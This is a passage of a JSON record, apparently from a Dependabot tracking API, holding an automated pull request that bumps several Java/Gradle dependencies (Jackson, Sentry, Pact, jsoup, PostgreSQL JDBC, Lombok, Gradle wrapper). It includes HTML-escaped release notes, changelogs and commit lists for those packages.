href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.4.4...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n","html_url":"https://github.com/apache/drill/pull/3048","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/apache%2Fdrill/issues/3048","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/3048/packages"},{"uuid":"4442091877","node_id":"PR_kwDOP3VK-c7bVHXb","number":413,"state":"closed","title":"Bump the gradle-updates group across 1 directory with 12 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-21T01:34:52.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-14T00:27:03.000Z","updated_at":"2026-05-21T01:34:54.000Z","time_to_close":608869,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"gradle-updates","update_count":12,"packages":[{"name":"tools.jackson.core:jackson-core","old_version":"3.1.2","new_version":"3.1.3","repository_url":"https://github.com/FasterXML/jackson-core"},{"name":"io.sentry:sentry-bom","old_version":"8.38.0","new_version":"8.41.0","repository_url":"https://github.com/getsentry/sentry-java"},{"name":"au.com.dius.pact.consumer:junit5","old_version":"4.6.20","new_version":"4.7.1","repository_url":"https://github.com/pact-foundation/pact-jvm"},{"name":"org.jsoup:jsoup","old_version":"1.22.1","new_version":"1.22.2","repository_url":"https://github.com/jhy/jsoup"},{"name":"io.sentry.jvm.gradle","old_version":"6.4.0","new_version":"6.6.0","repository_url":"https://github.com/getsentry/sentry-android-gradle-plugin"},{"name":"au.com.dius.pact","old_version":"4.6.20","new_version":"4.7.1"},{"name":"com.deque.html.axe-core:playwright","old_version":"4.11.1","new_version":"4.11.3","repository_url":"https://github.com/dequelabs/axe-core-maven-html"},{"name":"com.fasterxml.jackson.core:jackson-databind","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.projectlombok:lombok","old_version":"1.18.44","new_version":"1.18.46","repository_url":"https://github.com/projectlombok/lombok"},{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.0","repository_url":"https://github.com/gradle/gradle"}],"path":null,"ecosystem":"maven"},"body":"Bumps the gradle-updates group with 11 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [tools.jackson.core:jackson-core](https://github.com/FasterXML/jackson-core) | `3.1.2` | `3.1.3` |\n| [io.sentry:sentry-bom](https://github.com/getsentry/sentry-java) | `8.38.0` | `8.41.0` |\n| [au.com.dius.pact.consumer:junit5](https://github.com/pact-foundation/pact-jvm) | `4.6.20` | `4.7.1` |\n| [org.jsoup:jsoup](https://github.com/jhy/jsoup) | `1.22.1` | `1.22.2` |\n| [io.sentry.jvm.gradle](https://github.com/getsentry/sentry-android-gradle-plugin) | `6.4.0` | `6.6.0` |\n| au.com.dius.pact | `4.6.20` | `4.7.1` |\n| [com.deque.html.axe-core:playwright](https://github.com/dequelabs/axe-core-maven-html) | `4.11.1` | `4.11.3` |\n| [com.fasterxml.jackson.core:jackson-databind](https://github.com/FasterXML/jackson) | `2.21.2` | `2.21.3` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| [org.projectlombok:lombok](https://github.com/projectlombok/lombok) | `1.18.44` | `1.18.46` |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.0` |\n\n\nUpdates `tools.jackson.core:jackson-core` from 3.1.2 to 3.1.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/6956129ace69d7d28dfde174be6490e1707b43ae\"\u003e\u003ccode\u003e6956129\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-3.1.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/2796462b783180ad13cc9c8a6dbe1e8efe221e62\"\u003e\u003ccode\u003e2796462\u003c/code\u003e\u003c/a\u003e Prep for 3.1.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/87c70b305d74b3bfff32fab0daebfec12f6a8301\"\u003e\u003ccode\u003e87c70b3\u003c/code\u003e\u003c/a\u003e Merge branch '2.x' into 3.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/f21195dc779d1fcf7e25dd1ba445bbd524536efc\"\u003e\u003ccode\u003ef21195d\u003c/code\u003e\u003c/a\u003e Merge branch '2.21' into 2.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/59fb9cc1bbe4424221b171e88b37bcbdbdba1c50\"\u003e\u003ccode\u003e59fb9cc\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/3cb88d1cf3bc30e9629af25f0f503db236b508e2\"\u003e\u003ccode\u003e3cb88d1\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/5815636064ca5f5f2f5af0a91c7ad96368c239e7\"\u003e\u003ccode\u003e5815636\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/6e728f9bde605f98e34d67d5db0a1b530b0a9bfd\"\u003e\u003ccode\u003e6e728f9\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/4e30cf21ca4faeffa062ae13730fade890ce2540\"\u003e\u003ccode\u003e4e30cf2\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/1429fffeca1eee24d7c3d7a0887c5ac10cac7a58\"\u003e\u003ccode\u003e1429fff\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-core/compare/jackson-core-3.1.2...jackson-core-3.1.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `tools.jackson.core:jackson-databind` from 3.1.2 to 3.1.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/FasterXML/jackson/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.sentry:sentry-bom` from 8.38.0 to 8.41.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/getsentry/sentry-java/releases\"\u003eio.sentry:sentry-bom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.41.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSession Replay: experimental support for capturing \u003ccode\u003eSurfaceView\u003c/code\u003e content (e.g. Unity, video players, maps) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5333\"\u003e#5333\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eTo enable, set \u003ccode\u003eoptions.sessionReplay.isCaptureSurfaceViews = true\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eOr via manifest: \u003ccode\u003e\u0026lt;meta-data android:name=\u0026quot;io.sentry.session-replay.capture-surface-views\u0026quot; android:value=\u0026quot;true\u0026quot; /\u0026gt;\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWarning:\u003c/strong\u003e masking granularity is at the SurfaceView level only — the SDK cannot mask individual elements rendered inside the SurfaceView (e.g. native Unity UI, map labels, video frames). Only enable for SurfaceViews whose content is safe to record.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eSentry.feedback()\u003c/code\u003e API for \u003ccode\u003eshow()\u003c/code\u003e and \u003ccode\u003ecapture()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5349\"\u003e#5349\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eSentry.showUserFeedbackDialog()\u003c/code\u003e is deprecated in favor of \u003ccode\u003eSentry.feedback().show()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eSentry.captureFeedback()\u003c/code\u003e is deprecated in favor of \u003ccode\u003eSentry.feedback().capture()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eSentry.captureUserFeedback()\u003c/code\u003e and \u003ccode\u003eUserFeedback\u003c/code\u003e are deprecated in favor of \u003ccode\u003eSentry.feedback().capture()\u003c/code\u003e with the new \u003ccode\u003eFeedback\u003c/code\u003e type\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eSentryUserFeedbackDialog\u003c/code\u003e is deprecated in favor of \u003ccode\u003eSentryUserFeedbackForm\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAll deprecated APIs will be removed in the next major version\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eSentryUserFeedbackButton\u003c/code\u003e (View-based and Compose-based) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5350\"\u003e#5350\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eIt will be removed in the next major version\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd per-form shake-to-show support for \u003ccode\u003eSentryUserFeedbackForm\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5353\"\u003e#5353\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eUseful for enabling shake-to-report on specific screens instead of globally\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"kotlin\"\u003e\u003ccode\u003eSentryUserFeedbackForm.Builder(activity)\n  .configurator { it.isUseShakeGesture = true }\n  .create()\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd support for Kafka (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5249\"\u003e#5249\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eYou will need to add the \u003ccode\u003esentry-kafka\u003c/code\u003e dependency and opt-in via the new option.\n\u003cul\u003e\n\u003cli\u003eSet \u003ccode\u003eoptions.setEnableQueueTracing(true)\u003c/code\u003e on \u003ccode\u003eSentry.init\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eOr set \u003ccode\u003esentry.enable-queue-tracing=true\u003c/code\u003e in \u003ccode\u003eapplication.properties\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFor Spring Boot Kafka is auto instrumented and no further configuration is needed.\n\u003cul\u003e\n\u003cli\u003ealso see \u003ca href=\"https://docs.sentry.io/platforms/java/guides/spring-boot/integrations/kafka/\"\u003ehttps://docs.sentry.io/platforms/java/guides/spring-boot/integrations/kafka/\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eWhen using \u003ccode\u003ekafka-clients\u003c/code\u003e directly\n\u003cul\u003e\n\u003cli\u003eyou need to wrap your \u003ccode\u003eKafkaProducer\u003c/code\u003e via \u003ccode\u003eSentryKafkaProducer.wrap(kafkaProducer)\u003c/code\u003e to get \u003ccode\u003equeue.publish\u003c/code\u003e spans\u003c/li\u003e\n\u003cli\u003eand you may use our \u003ccode\u003eSentryKafkaConsumerTracing.withTracing\u003c/code\u003e helper to instrument the consumer side manually.\u003c/li\u003e\n\u003cli\u003ealso see \u003ca href=\"https://docs.sentry.io/platforms/java/integrations/kafka/\"\u003ehttps://docs.sentry.io/platforms/java/integrations/kafka/\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix soft input keyboard not being shown on the Feedback form (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5359\"\u003e#5359\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix shake-to-report not triggering on some devices due to high acceleration threshold (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5366\"\u003e#5366\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix feedback form retaining previous message when shown again via shake (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5366\"\u003e#5366\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAvoid stack overflow when deserializing large flat JSON objects (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5361\"\u003e#5361\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBump Native SDK from v0.13.7 to v0.14.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5334\"\u003e#5334\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5365\"\u003e#5365\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-native/blob/master/CHANGELOG.md#0140\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-native/compare/0.13.7...0.14.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBump Gradle from v9.4.1 to v9.5.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5344\"\u003e#5344\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/blob/master/CHANGELOG.md#v950\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/compare/v9.4.1...v9.5.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.40.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/getsentry/sentry-java/blob/main/CHANGELOG.md\"\u003eio.sentry:sentry-bom's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.41.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSession Replay: experimental support for capturing \u003ccode\u003eSurfaceView\u003c/code\u003e content (e.g. Unity, video players, maps) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5333\"\u003e#5333\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eTo enable, set \u003ccode\u003eoptions.sessionReplay.isCaptureSurfaceViews = true\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eOr via manifest: \u003ccode\u003e\u0026lt;meta-data android:name=\u0026quot;io.sentry.session-replay.capture-surface-views\u0026quot; android:value=\u0026quot;true\u0026quot; /\u0026gt;\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWarning:\u003c/strong\u003e masking granularity is at the SurfaceView level only — the SDK cannot mask individual elements rendered inside the SurfaceView (e.g. native Unity UI, map labels, video frames). Only enable for SurfaceViews whose content is safe to record.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eSentry.feedback()\u003c/code\u003e API for \u003ccode\u003eshow()\u003c/code\u003e and \u003ccode\u003ecapture()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5349\"\u003e#5349\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eSentry.showUserFeedbackDialog()\u003c/code\u003e is deprecated in favor of \u003ccode\u003eSentry.feedback().show()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eSentry.captureFeedback()\u003c/code\u003e is deprecated in favor of \u003ccode\u003eSentry.feedback().capture()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eSentry.captureUserFeedback()\u003c/code\u003e and \u003ccode\u003eUserFeedback\u003c/code\u003e are deprecated in favor of \u003ccode\u003eSentry.feedback().capture()\u003c/code\u003e with the new \u003ccode\u003eFeedback\u003c/code\u003e type\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eSentryUserFeedbackDialog\u003c/code\u003e is deprecated in favor of \u003ccode\u003eSentryUserFeedbackForm\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAll deprecated APIs will be removed in the next major version\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eSentryUserFeedbackButton\u003c/code\u003e (View-based and Compose-based) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5350\"\u003e#5350\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eIt will be removed in the next major version\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd per-form shake-to-show support for \u003ccode\u003eSentryUserFeedbackForm\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5353\"\u003e#5353\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eUseful for enabling shake-to-report on specific screens instead of globally\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"kotlin\"\u003e\u003ccode\u003eSentryUserFeedbackForm.Builder(activity)\n  .configurator { it.isUseShakeGesture = true }\n  .create()\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd support for Kafka (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5249\"\u003e#5249\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eYou will need to add the \u003ccode\u003esentry-kafka\u003c/code\u003e dependency and opt-in via the new option.\n\u003cul\u003e\n\u003cli\u003eSet \u003ccode\u003eoptions.setEnableQueueTracing(true)\u003c/code\u003e on \u003ccode\u003eSentry.init\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eOr set \u003ccode\u003esentry.enable-queue-tracing=true\u003c/code\u003e in \u003ccode\u003eapplication.properties\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFor Spring Boot Kafka is auto instrumented and no further configuration is needed.\n\u003cul\u003e\n\u003cli\u003ealso see \u003ca href=\"https://docs.sentry.io/platforms/java/guides/spring-boot/integrations/kafka/\"\u003ehttps://docs.sentry.io/platforms/java/guides/spring-boot/integrations/kafka/\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eWhen using \u003ccode\u003ekafka-clients\u003c/code\u003e directly\n\u003cul\u003e\n\u003cli\u003eyou need to wrap your \u003ccode\u003eKafkaProducer\u003c/code\u003e via \u003ccode\u003eSentryKafkaProducer.wrap(kafkaProducer)\u003c/code\u003e to get \u003ccode\u003equeue.publish\u003c/code\u003e spans\u003c/li\u003e\n\u003cli\u003eand you may use our \u003ccode\u003eSentryKafkaConsumerTracing.withTracing\u003c/code\u003e helper to instrument the consumer side manually.\u003c/li\u003e\n\u003cli\u003ealso see \u003ca href=\"https://docs.sentry.io/platforms/java/integrations/kafka/\"\u003ehttps://docs.sentry.io/platforms/java/integrations/kafka/\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix soft input keyboard not being shown on the Feedback form (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5359\"\u003e#5359\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix shake-to-report not triggering on some devices due to high acceleration threshold (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5366\"\u003e#5366\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix feedback form retaining previous message when shown again via shake (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5366\"\u003e#5366\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAvoid stack overflow when deserializing large flat JSON objects (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5361\"\u003e#5361\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBump Native SDK from v0.13.7 to v0.14.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5334\"\u003e#5334\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5365\"\u003e#5365\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-native/blob/master/CHANGELOG.md#0140\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-native/compare/0.13.7...0.14.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBump Gradle from v9.4.1 to v9.5.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5344\"\u003e#5344\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/blob/master/CHANGELOG.md#v950\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/compare/v9.4.1...v9.5.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/6219eb3d898ce527b1024eaa75e6a3ee5e985601\"\u003e\u003ccode\u003e6219eb3\u003c/code\u003e\u003c/a\u003e release: 8.41.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/566492415f8cb9a2596b13798f4088f3d5b7f614\"\u003e\u003ccode\u003e5664924\u003c/code\u003e\u003c/a\u003e Fix Changelog (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5381\"\u003e#5381\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/7ce4e911688f63d921a37f085dba629a097d9680\"\u003e\u003ccode\u003e7ce4e91\u003c/code\u003e\u003c/a\u003e feat(replay): Capture SurfaceView content (experimental) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5333\"\u003e#5333\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/d446e68d100ab9363b233ae6b98698bb13782049\"\u003e\u003ccode\u003ed446e68\u003c/code\u003e\u003c/a\u003e chore(codeowners): Add Nelson and Adam (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5369\"\u003e#5369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/11ad3372fed13e4508810060fd3997fb786ac176\"\u003e\u003ccode\u003e11ad337\u003c/code\u003e\u003c/a\u003e feat(core): Queue Instrumentation for Kafka (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5249\"\u003e#5249\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/0188f486bee02039e435beaa70a120f93bcf390c\"\u003e\u003ccode\u003e0188f48\u003c/code\u003e\u003c/a\u003e chore: Fix entry in \u003ccode\u003eCHANGELOG\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/83a416d1cfa89e79f71fd8eb9fe05d8e5058f665\"\u003e\u003ccode\u003e83a416d\u003c/code\u003e\u003c/a\u003e fix: Avoid stack overflow when deserializing large flat JSON objects (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5361\"\u003e#5361\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/e3e78e1c6cc641228dd910ee39c28ed6cf1ee710\"\u003e\u003ccode\u003ee3e78e1\u003c/code\u003e\u003c/a\u003e fix(feedback): Improve shake detection sensitivity (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5366\"\u003e#5366\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/d25ef951db8d52542757932b3dbe4497e60f8465\"\u003e\u003ccode\u003ed25ef95\u003c/code\u003e\u003c/a\u003e chore(deps): update Native SDK to v0.14.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5365\"\u003e#5365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/c7ed38cb3bf1241be0ebf27a7df97a2b13b118e8\"\u003e\u003ccode\u003ec7ed38c\u003c/code\u003e\u003c/a\u003e feat(ci): Notify linked issues on release (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5367\"\u003e#5367\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/getsentry/sentry-java/compare/8.38.0...8.41.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `au.com.dius.pact.consumer:junit5` from 4.6.20 to 4.7.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pact-foundation/pact-jvm/releases\"\u003eau.com.dius.pact.consumer:junit5's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.7.1\u003c/h2\u003e\n\u003ch2\u003eFeature release\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e0cdd0e3b3 - chore: Corrected all the doctests after update to the readmes\u003c/li\u003e\n\u003cli\u003ea34e72a72 - chore: Add TOC to the consumer and provider readmes\u003c/li\u003e\n\u003cli\u003ef695f6d79 - feat: Update readmes with details on using external references\u003c/li\u003e\n\u003cli\u003e3cb5eb590 - feat: Display references in the verifier output\u003c/li\u003e\n\u003cli\u003e170b27669 - feat: Add a method to the DSL interaction builders to capture external references\u003c/li\u003e\n\u003cli\u003eb43d22530 - feat: Add a method V4Interaction to capture external references\u003c/li\u003e\n\u003cli\u003e130aaa28b - chore: Add tests for V4Interaction and child classes\u003c/li\u003e\n\u003cli\u003e4ee8ddd5d - chore: fix typo breaking internal build (Kevin Rohan Vaz)\u003c/li\u003e\n\u003cli\u003e76cabe478 - feat: Add doctests for the readme code blocks \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1352\"\u003e#1352\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ee2ee20b00 - feat: Add a Kotlin consumer DSL \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1352\"\u003e#1352\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e39c734aa8 - feat: add arrayContains as a matching rule expression\u003c/li\u003e\n\u003cli\u003e2de7c5022 - refactor: deduplicate write logic in MERGE branch (biergit)\u003c/li\u003e\n\u003cli\u003e332f3b305 - fix: write through 